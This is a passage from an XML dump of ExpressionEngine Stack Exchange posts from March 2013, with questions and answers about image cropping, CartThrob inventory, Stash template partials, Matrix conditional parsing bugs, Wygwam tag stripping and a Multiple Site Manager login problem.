  <row Id="7256" PostTypeId="1" AcceptedAnswerId="7270" CreationDate="2013-03-12T14:39:02.477" Score="2" ViewCount="559" Body="&lt;p&gt;Some of the images on my site will be used in multiple sizes and aspect ratios. I would like for the client to only have to upload one version of each image (the original size) and have the site automatically size and crop the images according to the location requirements. However, one of the aspect ratios is a very wide and short image (let's call it a &quot;banner&quot;). I am able to get CE Image to display the image in the proper dimensions, but it crops off the bottom and top of the image and saves a strip from the middle. Most of the time that's just fine, but some of the images don't lend themselves well to that particular cropping (subject matter is off-center). Right now, I got around this by adding an additional file field for the client to crop the image manually and then upload it for the page banner. Is there a way instead to do this with only one image being uploaded but allowing the client to specify the region of the image to use for the page banner? Something like jCrop? Is there an add-on that with this feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Assets and CE Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Amy&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-03-12T19:40:52.807" Title="Allow cropping of image for one usage while retaining original image?" Tags="|image|ce-image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7257" PostTypeId="1" AcceptedAnswerId="7262" CreationDate="2013-03-12T16:11:30.293" Score="1" ViewCount="336" Body="&lt;p&gt;I am wondering. Is there way to include inventory levels with each product option in CartThrob Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. 10 Smalls, 5 Mediums, 2 Larges.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="944" LastEditDate="2013-03-12T16:29:09.127" LastActivityDate="2013-03-12T17:23:31.390" Title="CartThrob Product Options Inventory" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7258" PostTypeId="1" AcceptedAnswerId="7287" CreationDate="2013-03-12T16:45:55.550" Score="0" ViewCount="192" Body="&lt;p&gt;I am experimenting with &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;the template partials&lt;/a&gt; approach and try to figure out how to let the client choose a template for the entry he is publishing/editing. Adrienne Travis mentions &lt;a href=&quot;http://devot-ee.com/add-ons/blueprints&quot; rel=&quot;nofollow&quot;&gt;Blueprints&lt;/a&gt; in conjunction with &lt;a href=&quot;http://devot-ee.com/add-ons/structure&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt;. But thats another $100 for just getting to choose a template from the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering if there are any other ways to go. I have been playing a bit with &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/template-snippet-select&quot; rel=&quot;nofollow&quot;&gt;Template &amp;amp; Snippet Select&lt;/a&gt; but no matter how I turn there is alwasy some parseorder thing to have me grounded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...  any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/David&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and this is what my wrapper-template looks like and I am hoping to replace the first line with contents from the layoutfield on the publishform.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_wrappers/homepage&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;ch-archive&quot; limit=&quot;1&quot;}&#xA;{exp:stash:set name=&quot;title&quot;}&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:stash:set}&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;&amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;{/exp:stash:set}&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="481" LastEditorUserId="481" LastEditDate="2013-03-12T20:13:39.287" LastActivityDate="2013-03-13T05:34:49.183" Title="How to select a template for an entry via publish form" Tags="|template-partials|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7259" PostTypeId="1" CreationDate="2013-03-12T16:48:11.503" Score="5" ViewCount="225" Body="&lt;p&gt;We have a Matrix that has a simple text input in the first column, and another text input in the second column. First column is for a link title, second column is for a URL. This is the stripped down code we're using to display this information on the template, showing the title if there is one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{link_field:total_rows}&quot; &amp;gt;= 1}&#xA;  &amp;lt;h4&amp;gt;{title} Links&amp;lt;/h4&amp;gt;&#xA;&#xA;  &amp;lt;ul&amp;gt;{link_field}&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;a href=&quot;{link_url}&quot;&amp;gt;{if link_title}{link_title}{if:else}{link_url}{/if}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  {/link_field}&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Very simple: if there are any rows, output the h4, open a UL, loop through the rows (outputting a title if there is one, otherwise outputting the URL), close the UL, done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that the simple &quot;if&quot; conditional is breaking things, especially if there is any text in the first column that resembles user-related global variables (email, screen_name, username). Those are actually getting parsed - even though there are no braces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a link title might read &quot;Send email to user-selected recipient&quot;. The 'email' there is getting parsed (and getting double quotes added) so the field reads (using my email address): &quot;Send &quot;ryan@masugadesign.com&quot; to user-selected recipient&quot;. That being the case, it's going into the {if link_title} conditional statement and breaking, so that the template returns a parse error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STRING in /.../system/expressionengine/libraries/Functions.php(680) : eval()'d code on line 649&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we just output {link_title} outside of a conditional, it outputs the text in the field as I'd expect. Another odd thing we notice is that if we put a plus sign &quot;+&quot; in the first column, the template breaks as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't seem to make a difference how we do that conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if link_title}&#xA;{if link_title != ''}&#xA;{if &quot;{link_title}&quot;}&#xA;{if &quot;{link_title}&quot; != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this? This site is on EE 2.5.2. We just updated and tested with latest version of Matrix (2.5.3), so the add-on version doesn't seem to matter.&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-03-13T14:23:38.770" Title="Matrix, user global variables in basic text input breaking in simple if conditional" Tags="|matrix|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7260" PostTypeId="2" ParentId="7258" CreationDate="2013-03-12T16:50:13.797" Score="0" Body="&lt;p&gt;I'm a Structure man myself. But have you looked at Better Pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/better-pages&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/better-pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-12T16:50:13.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7261" PostTypeId="1" AcceptedAnswerId="7296" CreationDate="2013-03-12T17:11:50.217" Score="0" ViewCount="110" Body="&lt;p&gt;I'm using Google Maps for EE in a SafeCracker form, and the map field is within some jQuery tabs. I previously had an issue with the map not displaying correctly if it wasn't on the first tab that loaded when the page loads (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6333/google-maps-for-ee-field-not-displaying-correctly-in-a-jquery-tabbed-form&quot;&gt;as per this question&lt;/a&gt;), but this has been solved by calling the tabs with the following code in my external functions.js file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.tabbed-form .tabs').kosTabs({&#xA;  after: function() {&#xA;    if(typeof Gmap !== 'undefined') {&#xA;      var instance = Gmap.instances[0];&#xA;      if(typeof instance !== 'undefined') {&#xA;        google.maps.event.trigger(instance.map, 'resize');&#xA;        instance.map.setCenter(instance.center);&#xA;      }&#xA;    }&#xA;  }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above solution works fine for creating new entries as the map centres on the latitude, longitude and zoom that I specified in the custom field settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when editing an existing entry that has already had a marker plotted on the map though, I'm finding that the map isn't loading with the marker in view on the map (like it would do in normal circumstances) - instead, it's loading at the map centre (the one entered in the custom field settings), but at a zoomed-in level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone show me how to adapt the above JS to make existing entries load with the marker in view please? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-03-13T12:41:46.373" Title="Map centering issue in SafeCracker form with Google Maps for EE" Tags="|google-maps|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7262" PostTypeId="2" ParentId="7257" CreationDate="2013-03-12T17:23:31.390" Score="2" Body="&lt;p&gt;Yes, as long as you only need to track inventory on one set of product options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Map 'Product Inventory Field Name' to your product options field in the Cartthrob/Products settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default Cartthrob fieldtype needs no additional configuration.&lt;br&gt;&#xA;If you are using a Matrix field, make sure you have an &lt;code&gt;{inventory}&lt;/code&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to track inventory over multiple product option groups, take a look at their &lt;a href=&quot;http://cartthrob.com/docs/fieldtypes/price_modifiers_configurator/index.html&quot; rel=&quot;nofollow&quot;&gt;Price Modifiers Configurator Fieldtype&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-03-12T17:23:31.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7263" PostTypeId="2" ParentId="6994" CreationDate="2013-03-12T17:58:04.077" Score="1" Body="&lt;p&gt;see Andris' answer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7239/migrating-assets-to-s3&quot;&gt;Migrating Assets to S3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Backup your database first, of course, but theoretically this should be easy-peasy: Just add your S3 sources in the settings and then, in the Assets File Manager just drag all your files and folders from your EE sources to S3 sources and that's that - no changes in entries should be required at all.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="563" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-03-12T17:58:04.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7264" PostTypeId="1" CreationDate="2013-03-12T18:21:31.117" Score="1" ViewCount="103" Body="&lt;p&gt;I have a store that is doing international shipping. In this store I am giving the option to do international shipping but bill to the US. However, when the billing address is set to the US and the Shipping options are set to another country, I am still getting US billing prices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What must you do to have the Shipping Region choices override the Billing Region choices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-03-13T00:08:13.493" Title="Exp-resso Store Shipping Country being ignored" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7265" PostTypeId="1" AcceptedAnswerId="7273" CreationDate="2013-03-12T18:22:11.070" Score="4" ViewCount="550" Body="&lt;p&gt;I am curious to know if there are any &quot;best practices&quot; for using Stash to deal with &quot;pages&quot; that pull extra/additional channel entries that are pulled into the same wrapper/layout. More specially, do you put your conditionals in the layout itself? Or keep them in the partial?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quick example, say you use Structure and manage site with &quot;static&quot; pages that share the exact same layout. The only differencees are some pages have to pull in bios or show a map below the page content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Layout/Wrapper:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-===========================================================================&#xA;FILE: _layouts/.two-column.html&#xA;TYPE: Template&#xA;DEPENDENCIES: Librar-ee, Stash&#xA;DESCRIPTION: Two column wrapper template that holds interior page content&#xA;============================================================================ --}&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;{sn_global_html}&#xA;&amp;lt;head&amp;gt;&#xA;  {sn_global_head}&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;{exp:stash:body_id}&quot; class=&quot;{exp:stash:body_class}&quot;&amp;gt;&#xA;  {sn_global_header}&#xA;  {sn_global_banner}&#xA;    &amp;lt;div id=&quot;Content&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;wrapper grid&quot;&amp;gt;&#xA;        &amp;lt;section id=&quot;Content-Primary&quot; class=&quot;grid-2-3&quot; role=&quot;main&quot;&amp;gt;&#xA;          &amp;lt;article class=&quot;module&quot; role=&quot;article&quot;&amp;gt;&#xA;            {exp:stash:content_primary}&#xA;          &amp;lt;/article&amp;gt; &amp;lt;!-- /END module --&amp;gt;&#xA;        &amp;lt;/section&amp;gt; &amp;lt;!-- /END #Content-Primary --&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;Sidebar&quot; class=&quot;grid-1-3&quot; role=&quot;complementary&quot;&amp;gt;&#xA;          {exp:stash:sidebar}&#xA;        &amp;lt;/section&amp;gt; &amp;lt;!-- /END #Sidebar --&amp;gt;&#xA;      &amp;lt;/div&amp;gt; &amp;lt;!-- /END wrapper grid --&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /END #Content --&amp;gt;&#xA;    {sn_global_footer}&#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Partial:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ===========================================================================&#xA;  FILE: _partials/static-page.html&#xA;  TYPE: template partial&#xA;  DEPENDENCIES: Librar-ee, Stash, Channel Images&#xA;  DESCRIPTION: Services page partial&#xA;============================================================================ --}&#xA;{!-- Select layout ========================================================= --}&#xA;{embed=&quot;_layouts/.two-column&quot;}&#xA;&#xA;&#xA;{!-- Set variables ========================================================= --}&#xA;{exp:stash:set name='body_id'}{/exp:stash:set}&#xA;{exp:stash:set name='body_class'}subpage two-col{/exp:stash:set}&#xA;&#xA;&#xA;{!-- Models ================================================================ --}&#xA;{!-- Content Primary --}&#xA;{exp:stash:set name=&quot;content_primary&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot; no_results_prefix=&quot;page&quot;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;ch_pages&quot;&#xA;    limit=&quot;1&quot;&#xA;    {global:param_disable_default}}&#xA;    {if page:no_results}{redirect=&quot;404&quot;}{/if}&#xA;      {sn_global_edit_this}&#xA;      {if cf_page_feature_image}&#xA;        &amp;lt;figure id=&quot;Featured-Image&quot;&amp;gt;&#xA;          &amp;lt;img src=&quot;{cf_page_feature_image}&quot; width=&quot;390&quot; height=&quot;305&quot; alt=&quot;Test figure&quot; /&amp;gt;&#xA;        &amp;lt;/figure&amp;gt;&#xA;      {/if}&#xA;&#xA;      &amp;lt;h1&amp;gt;&#xA;        {if cf_page_extended_page_title}&#xA;          {cf_page_extended_page_title}&#xA;        {if:else}&#xA;          {title}&#xA;        {/if}&#xA;      &amp;lt;/h1&amp;gt;&#xA;&#xA;      {if cf_page_body}&#xA;        {cf_page_body}&#xA;      {/if}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- Sidebar --}&#xA;{exp:stash:set name=&quot;sidebar&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot; no_results_prefix=&quot;sidebar&quot;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;ch_pages&quot;&#xA;    orderby=&quot;random&quot;&#xA;    limit=&quot;1&quot;&#xA;    {global:param_disable_default}}&#xA;    {if sidebar:no_results}&amp;lt;p&amp;gt;Sidebar content is not available.&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;      {reverse_related_entries channel=&quot;ch_page_header_images&quot;}&#xA;&#xA;      {if no_reverse_related_entries}&#xA;        &amp;lt;img src=&quot;/assets/img/site/featured/placeholder-city.png&quot; alt=&quot;CAC Real Estate Management Co., Inc.&quot; width=&quot;390&quot; id=&quot;Header-Image&quot; role=&quot;img&quot; /&amp;gt;&#xA;      {/if}&#xA;&#xA;      &amp;lt;img src=&quot;{cf_header_image:medium}&quot; alt=&quot;{title}&quot; width=&quot;390&quot; id=&quot;Header-Image&quot; role=&quot;img&quot; /&amp;gt;&#xA;    {/reverse_related_entries}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where would you add the following extra bit of content that goes inside the main content area but below normal page content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional content (on select pages):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_segment == &quot;project-management&quot;}&#xA;  &amp;lt;article class=&quot;module&quot; role=&quot;article&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Project Management Team&amp;lt;/h3&amp;gt;&#xA;    {exp:low_reorder:entries&#xA;      set=&quot;lr_cac_pm&quot;&#xA;      dynamic=&quot;no&quot;&#xA;      {global:param_disable_default}}&#xA;      &amp;lt;div class=&quot;listing&quot;&amp;gt;&#xA;          {sn_global_edit_this}&#xA;&#xA;          &amp;lt;img src=&quot;{cf_bio_photo:headshot_sm}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;          &amp;lt;h4 class=&quot;bio-heading&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}, {cf_bio_position}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;          &amp;lt;p&amp;gt;&#xA;            {exp:eehive_hacksaw words=&quot;100&quot; append=&quot;&amp;amp;hellip; | &amp;lt;a href='{page_url}'&amp;gt;Read More &amp;amp;rarr;&amp;lt;/a&amp;gt;&quot;}&#xA;               {cf_bio_body}&#xA;            {/exp:eehive_hacksaw}&#xA;          &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt; &amp;lt;!-- /END listing --&amp;gt;&#xA;    {/exp:low_reorder:entries}&#xA;  &amp;lt;/article&amp;gt; &amp;lt;!-- /END module --&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user conditionals and add it to the existing page partial? This way the 4-5 pages with extra content share one partial&lt;/li&gt;&#xA;&lt;li&gt;create a new partial for each page with the additional content, use snippets to abstract the shared page content in the above partial, and keep it out of the original partial above?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My gut is to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create snippets for the shared content that is shared for every page&lt;/li&gt;&#xA;&lt;li&gt;Create new partials for the unique pages with additional content and use the shared snippets inside these partials&lt;/li&gt;&#xA;&lt;li&gt;Then, in the layout, use conditionals to display the extra content as needed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems &quot;dirtier&quot; to have conditionals in the base partial to pull the extra data and then have conditionals to display the content in the layout as needed. Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2013-03-12T22:05:19.180" Title="Best practices for using Stash partials with one layout but slightly different content output" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7266" PostTypeId="1" CreationDate="2013-03-12T18:40:01.043" Score="1" ViewCount="219" Body="&lt;p&gt;I'm trying to create a quantity field next to each one of my pricing modifier items, but none of them are coming up in the debug info. What in the world might I be doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be REALLY appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form return=&quot;tours/cart&quot;&#xA;                            entry_id=&quot;{entry_id}&quot; &#xA;                            return=&quot;tours/cart&quot; &#xA;                    }&#xA;                    {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;}&#xA;                        {tour_options}&#xA;                            &amp;lt;input type=&quot;input&quot; name=&quot;quantity&quot; size=&quot;3&quot; value=&quot;&quot;&amp;gt; {option_name} {price}&amp;lt;br /&amp;gt;&#xA;                        {/tour_options}&#xA;&#xA;                            &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[tour_options]&quot; value=&quot;{option_value}&quot;&amp;gt;&#xA;                     {/exp:cartthrob:item_options}&#xA;&#xA;                        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add Tour to Cart&quot;&amp;gt;&#xA;&#xA;&#xA;                     {/exp:cartthrob:add_to_cart_form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="973" LastActivityDate="2013-03-20T19:22:50.363" Title="CartThrob Pricing Modifier question" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7267" PostTypeId="1" AcceptedAnswerId="7268" CreationDate="2013-03-12T19:01:45.663" Score="2" ViewCount="54" Body="&lt;p&gt;I've 'inherited' an EE1 site (1.7.1) and am trying to make some customisations to it. Nothing major, but I have had almost no exposure to EE tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official EE1 documentation is very thin and nearly all of my searches, although returning what potentially look like good results, end up containing broken links to old EE documentation that doesn't seem to exist any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find an exhaustive and well put together reference to EE1 tags?&lt;/p&gt;&#xA;" OwnerUserId="649" LastActivityDate="2013-03-12T19:05:07.567" Title="Where can I find a complete EE1 reference for tags and their usage?" Tags="|ee1|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7268" PostTypeId="2" ParentId="7267" CreationDate="2013-03-12T19:05:07.567" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://ee1docs.com/quick_reference.html&quot; rel=&quot;nofollow&quot;&gt;http://ee1docs.com/quick_reference.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can see top right button &quot;Download EE1 Docs&quot; at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-12T19:05:07.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7269" PostTypeId="2" ParentId="7256" CreationDate="2013-03-12T19:07:50.640" Score="0" Body="&lt;p&gt;You can use the Image Manipulation feature of ExpressionEngine : &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-12T19:07:50.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7270" PostTypeId="2" ParentId="7256" CreationDate="2013-03-12T19:17:48.023" Score="3" Body="&lt;p&gt;Would something like this &lt;a href=&quot;http://devot-ee.com/add-ons/image-editor&quot; rel=&quot;nofollow&quot;&gt;Image Editor&lt;/a&gt; add-on work for what you need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/image-editor&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/image-editor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution might be add select fields to allow the client control the crop position parameters for CE Image. For instance, if you had a select dropdown field called &lt;code&gt;{horizontal_crop}&lt;/code&gt; with the values &quot;left, center, right&quot;  and another dropdown field called &lt;code&gt;{vertical_crop}&lt;/code&gt; with the values &quot;top, center, bottom.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your tag would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{my_custom_image}&quot; width=&quot;200&quot; height=&quot;130&quot; crop=&quot;yes|{horizontal_crop},{vertical_crop}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you also add the ability to preview the image in place in the page with something like &lt;a href=&quot;http://ee-garage.com/nsm-live-look&quot; rel=&quot;nofollow&quot;&gt;NSM Live Look&lt;/a&gt;, the client could more easily select an appropriate cropping method.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-12T19:40:52.807" LastActivityDate="2013-03-12T19:40:52.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7271" PostTypeId="2" ParentId="7258" CreationDate="2013-03-12T19:27:29.670" Score="0" Body="&lt;p&gt;I have used Plates before for this reason, and it works well.  You can choose which of the templates they can choose from, and include thumbnails if you desire. You just need to have the Pages module installed, and you need to be sure you have the Templates field BEFORE the Plates field (by customizing the Publish Layout).  I put it at the top of the main Publish page, then hide it.  &lt;a href=&quot;http://devot-ee.com/add-ons/plates&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/plates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-03-12T19:27:29.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7272" PostTypeId="1" CreationDate="2013-03-12T20:12:30.910" Score="2" ViewCount="1226" Body="&lt;p&gt;When using Wygwam and trying to use an empty &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tag like Font Awesome requires the tags get stripped every time a user goes back in to edit the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A temporary fix is to do something like &lt;code&gt;&amp;lt;i class=&quot;icon-play&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/i&amp;gt;&lt;/code&gt;, but that's pretty messy. Is there a way to either have Wygwam automatically add the &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; code like it does for &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags or a way to make it stop stripping &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tags that are &quot;empty&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="563" LastEditDate="2013-03-12T20:25:54.430" LastActivityDate="2014-04-23T14:04:12.517" Title="CkEditor in Wygwam strips out &lt;i&gt; tags used in Font Awesome" Tags="|ee2|wygwam|pixelandtonic|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7273" PostTypeId="2" ParentId="7265" CreationDate="2013-03-12T22:05:19.180" Score="5" Body="&lt;p&gt;Personally, I tend to use separate templates and then do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_layouts/.two-column&quot;}&#xA;&#xA;{snippet_common_page_elements}&#xA;&#xA;{!-- Unique page code goes here --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-12T22:05:19.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7274" PostTypeId="1" CreationDate="2013-03-12T22:27:34.193" Score="3" ViewCount="563" Body="&lt;p&gt;ExpressionEngine v2.5.2&#xA;Multiple Site Manager 2.1.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed MSM 2.1.4 in an existing running version of EE 2.5.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seemed to be installed OK, I was able to create a new site, but before I had a chance to do more I logged out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I came back I was unable to log in. The login panel seems to submit, clears its fields, but remains in place without logging in. Multiple tries make no difference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I have been able to log in is by editing config/config.php and setting &#xA;$config['multiple_sites_enabled'] = &quot;n&quot;; instead of y;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, after I log in, I set MSM to &quot;on&quot;, I can access the menu to edit or add a site, but I cannot switch to the site I've created, it stays on the current site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I log out, I'm locked out again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On looking through as many references to this problem as I could find on StackExchange and the Ellis Lab forum archives (apparently it's not an uncommon problem) I found that in most cases they say deleting cookies and clearing the cache, and/or resetting session security preferences solves the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hasn't worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Tried clearing caches and deleting all cookies - on 4 different browsers (Safari, Firefox, Chrome, 